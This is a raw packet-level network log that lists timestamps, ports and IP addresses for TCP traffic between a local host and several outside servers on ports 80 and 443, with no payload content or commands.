Oct 2, 2024 17:17:10.014599085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014609098 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014619112 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014627934 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014637947 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014638901 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014647961 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014657974 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014668941 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014672041 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014679909 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014682055 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014689922 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014697075 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014699936 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014724016 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.014978886 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014987946 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.014998913 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015007973 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015014887 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015022993 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015027046 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015033960 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015045881 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015052080 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015055895 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015069962 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015079021 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015080929 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015091896 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015094995 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015117884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015125990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015144110 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015153885 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015163898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015175104 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015178919 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015186071 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015192986 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015196085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015208006 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015213966 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015217066 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015228033 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015230894 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015240908 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015247107 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015252113 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015263081 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015273094 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.015274048 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.015305996 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016042948 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016057014 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016067028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016077995 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016088009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016091108 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016098976 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016108990 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016117096 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016119003 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016129017 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016133070 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016139030 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016149998 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016160011 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016163111 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016170025 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016180038 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016190052 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016192913 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016200066 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016208887 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016211033 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.016223907 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.016242981 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102549076 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102560043 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102571964 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102610111 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102643013 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102679014 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102689981 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102701902 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102711916 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102715015 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102725029 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102731943 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102760077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102801085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102809906 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102819920 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102830887 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102839947 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102843046 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102850914 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102868080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.102870941 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102900028 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.102979898 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.103018045 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.103620052 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.103631020 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.103642941 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.103663921 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.103688955 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.104717016 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.104727983 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.104737997 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.104748011 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:10.104762077 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.104787111 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:10.172683954 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.172753096 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.174712896 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.174725056 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.174968004 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.212376118 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:10.212486982 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:10.212573051 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:10.216667891 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:10.216701984 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:10.229837894 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.289823055 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.289853096 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.289974928 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.782737017 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.782835007 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.782984972 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.783159018 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.783184052 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.783195972 CEST	65265	443	192.168.2.6	104.21.77.132
Oct 2, 2024 17:17:10.783201933 CEST	443	65265	104.21.77.132	192.168.2.6
Oct 2, 2024 17:17:10.811430931 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:10.811474085 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:10.811543941 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:10.811897039 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:10.811909914 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:10.877543926 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:10.877715111 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:10.878257990 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:10.878276110 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:10.880431890 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:10.880439997 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:11.276225090 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.276334047 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:11.278398037 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:11.278405905 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.278654099 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.279967070 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:11.279982090 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:11.280030012 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.921428919 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.921529055 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.921549082 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:11.921634912 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:11.921642065 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:11.921647072 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:11.921695948 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:11.921876907 CEST	65267	443	192.168.2.6	188.114.96.3
Oct 2, 2024 17:17:11.921890020 CEST	443	65267	188.114.96.3	192.168.2.6
Oct 2, 2024 17:17:11.923464060 CEST	65266	443	192.168.2.6	49.12.197.9
Oct 2, 2024 17:17:11.923487902 CEST	443	65266	49.12.197.9	192.168.2.6
Oct 2, 2024 17:17:11.931540966 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:11.936461926 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:11.945574045 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:11.945617914 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:11.945712090 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:11.946223021 CEST	65268	443	192.168.2.6	104.21.56.150
Oct 2, 2024 17:17:11.946238995 CEST	443	65268	104.21.56.150	192.168.2.6
Oct 2, 2024 17:17:12.459883928 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459908009 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459918976 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459929943 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459940910 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459950924 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459952116 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.459960938 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459974051 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.459979057 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.459992886 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460036039 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460055113 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460066080 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460098028 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460114002 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460134983 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460144997 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460155010 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460164070 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460170031 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460174084 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460185051 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460203886 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460254908 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460335970 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460418940 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460438967 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460449934 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460459948 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460469961 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460477114 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460484028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460484028 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460496902 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460503101 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460513115 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460525036 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460535049 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460532904 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460541964 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460545063 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460556030 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460565090 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460575104 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460577011 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.460596085 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.460616112 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461096048 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461107969 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461119890 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461136103 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461138010 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461148024 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461157084 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461167097 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461170912 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461177111 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461186886 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461198092 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461198092 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461201906 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461211920 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461220980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461225033 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461230993 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461241007 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461255074 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461256981 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461266041 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461276054 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461277962 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461294889 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461299896 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461308002 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461318970 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461325884 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461330891 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461345911 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461349964 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461364031 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461390972 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.461939096 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461951017 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461956024 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461961031 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461971045 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461986065 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.461992979 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462001085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462017059 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462018013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462028980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462038040 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462040901 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462049007 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462059021 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462069035 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462076902 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462079048 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462090015 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462100029 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462100029 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462110996 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462121010 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462126970 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462133884 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462145090 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462146044 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462153912 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462163925 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462163925 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462176085 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462182999 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462187052 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462198019 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.462205887 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462234974 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.462973118 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463001013 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463015079 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463020086 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463041067 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463041067 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463056087 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463058949 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463069916 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463083029 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463095903 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463109016 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463115931 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463121891 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463131905 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463145018 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463145018 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463160038 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463169098 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463172913 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463186026 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463186979 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463197947 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463207960 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463218927 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463222980 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463232994 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463243961 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463253021 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463258028 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463270903 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463272095 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463283062 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463293076 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463295937 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463306904 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463324070 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463345051 CEST	65263	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:17:12.463880062 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463900089 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463910103 CEST	80	65263	147.45.44.104	192.168.2.6
Oct 2, 2024 17:17:12.463923931 CEST	80	65263	147.45.44.104	192.168.2.6
